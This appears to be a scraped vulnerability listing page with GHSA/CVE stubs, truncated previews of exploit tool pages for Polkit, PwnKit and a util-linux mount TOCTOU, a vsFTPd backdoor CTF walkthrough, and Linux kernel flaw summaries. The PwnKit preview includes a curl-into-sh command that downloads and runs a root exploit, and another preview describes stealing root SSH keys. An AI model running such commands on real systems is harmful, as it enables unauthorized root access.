GHSA-H8P2-7W9Q-6G4F vulnerabilities

Vulnerabilities for packages: linux-desktop, linux-qemu-melange...

GHSA-VGXQ-4VM2-QMP7 vulnerabilities

Vulnerabilities for packages: linux-qemu-melange...

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit 本地权限提升 root@kitploit: .--. .-" "-. .--. / .. / .-. .-. / .. \ | | '| / Y \ |' | | | \ \ \ 0 | 0 / / / | \ '- ,.-" "-./, -' / '-' / ^ ^ \ '-' .--'| . ./ |'--. / \ \ / / \ / '. '---' .' \ / '---' \ / \ 一个针对影响 Linux 系统上 PolicyKit Polkit 的 CVE-2021-3560 漏洞的自动化利用工具。 ⚠️ 警告...

CyberSec2026

被害者インストール VirtualBoxでVMを起動 1. 以下の情報でログイン: username: osboxes password: osboxes.org 2. ターミナルを開く 3. インターネット接続が動作しているか確認する。 root@kitploit: ping 8.8.8.8 pingが成功しない場合は、NATインターフェースが有効になっているか確認する。 4. OSを更新する root@kitploit: sudo apt-get update 5. Gitをインストール root@kitploit: sudo apt install -y git 6...

PwnKit

PwnKit CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击的 Linux 发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动使用 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o...

CVE-2026-53613-poc

CVE-2026-53613 PoC mount8 中的 TOCTOU 漏洞，允许本地权限提升至 root。 受影响版本 util-linux 2.41.0 至 2.41.4 util-linux 2.42.0 至 2.42.1 漏洞利用 文件| 方法| 目标 ---|---|--- exploitshell.sh| SSH 密钥提取| /root exploitdirectshell.sh| 直接 shell| /bin 快速开始 root@kitploit: 方法 1：提取 SSH 密钥并以 root 身份 SSH 登录 bash exploitshell.sh 1000 方法 2：...

PwnTillDawn-Portal-Walkthrough

🔐 脆弱性評価とペネトレーションテスト VAPT 📌 プロジェクト: ターゲット攻略ウォークスルー ⚠️ このプロジェクトは教育および許可されたテスト目的のみ です。 システムへの不正アクセスは固く禁止されています。 👨‍💻 著者 SYAFIQ 役割: リードペネトレーションテスター 🎯 ターゲット情報 ターゲットIP: 10.150.150.12 オペレーティングシステム: Ubuntu Linux ステータス: 🔴 重大 バックドア検出 脆弱性: CVE-2011-2523 vsFTPd バックドア 🧭 攻撃概要 フェーズ| ツール| 説明 ---|---|--- 発見| Nmap|...

kernel: netfilter: nf_conntrack_sip: don't use simple_strtoul

A flaw was found in the Linux kernel's netfilter SIP Session Initiation Protocol connection tracking module. This vulnerability, caused by unsafe port parsing, allows a remote attacker to send specially crafted malformed packets. Such packets could lead to excessive resource consumption,...

kernel: sctp: auth: verify auth requirement when auth_chunk is NULL

A flaw was found in the Stream Control Transmission Protocol SCTP authentication mechanism within the Linux kernel. The sctpauthchunkverify function incorrectly processes authentication chunks, leading to authentication requirements being silently bypassed. This can occur under specific condition...

kernel: tipc: fix slab-use-after-free Read in tipc_aead_decrypt_done

A flaw was found in the Linux kernel. A remote attacker could exploit a use-after-free vulnerability in the Transparent Inter-Process Communication TIPC cryptographic decryption process. This flaw occurs when a network namespace, a mechanism for isolating network resources, is deallocated before ...

kernel: Linux kernel: Denial of Service in qla2xxx SCSI driver due to improper command handling after chip reset

A flaw was found in the Linux kernel's qla2xxx SCSI driver. This vulnerability occurs when commands sent to the firmware FW are not properly cleared after a chip reset. A local attacker could exploit a race condition during direct memory access DMA unmapping, leading to a kernel panic. This can...

kernel: sctp: diag: reject stale associations in dump_one path

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP diagnostics. When performing a socket diagnostic sockdiag lookup, the system may attempt to access memory related to an SCTP association that has already been freed. This can lead to an out-of-bounds read from...

kernel: ixgbevf: fix use-after-free in VEPA multicast source pruning

A flaw was found in the Linux kernel's ixgbevf network driver. This vulnerability, a use-after-free, occurs when the driver attempts to process network packets for a specific multicast workaround. An attacker could potentially exploit this by sending specially crafted network traffic, which may...

kernel: netfilter: nf_log: validate MAC header was set before dumping it

A flaw was found in the Linux kernel's netfilter logging component. This vulnerability occurs because the system does not properly check if a network packet's Media Access Control MAC header is valid before attempting to log it. A local attacker could send a specially crafted network packet,...

kernel: sctp: validate cached peer INIT chunk length in COOKIE_ECHO processing

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP implementation. A remote attacker could exploit this by sending a specially crafted COOKIEECHO chunk to a listening SCTP server. The server's failure to properly validate the length of a cached peer INIT chunk within...

kernel: sctp: fix race between sctp_wait_for_connect and peeloff

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP implementation. A race condition exists in the sctpwaitforconnect function, where a socket lock is temporarily released and re-acquired. During this brief period, another process can move the SCTP association to a...

kernel: sctp: fix auth_hmacs array size in struct sctp_cookie

A flaw was found in the Linux kernel's Stream Control Transmission Protocol SCTP implementation. An incorrect array size calculation for the authhmacs field within the sctpcookie structure could lead to a buffer overflow. During the initialization of an SCTP association, if four HMAC identifiers...

kernel: tipc: clear sock->sk on the failed-insert path in tipc_sk_create()

A flaw was found in the Linux kernel's TIPC Transparent Inter-Process Communication protocol. A local attacker could exploit this vulnerability by repeatedly creating and failing to insert new sockets, causing the tipcskcreate function to leave a dangling pointer to a freed socket object. This...

kernel: net: pull headers in qdisc_pkt_len_segs_init()

A flaw was found in the Linux kernel's handling of Generic Segmentation Offload GSO packet headers. This vulnerability occurs when the qdiscpktlensegsinit function does not properly pull headers into the expected memory location, which can lead to incorrect processing by network drivers. A remote...

kernel: security/keys: fix missed RCU read section on lookup

A flaw was found in the Linux kernel's keyring code. The assocarrayfind function, used for looking up keys, was called without holding the necessary Read-Copy-Update RCU read lock. This oversight allows for a memory corruption vulnerability, particularly affecting persistent key handling, as the...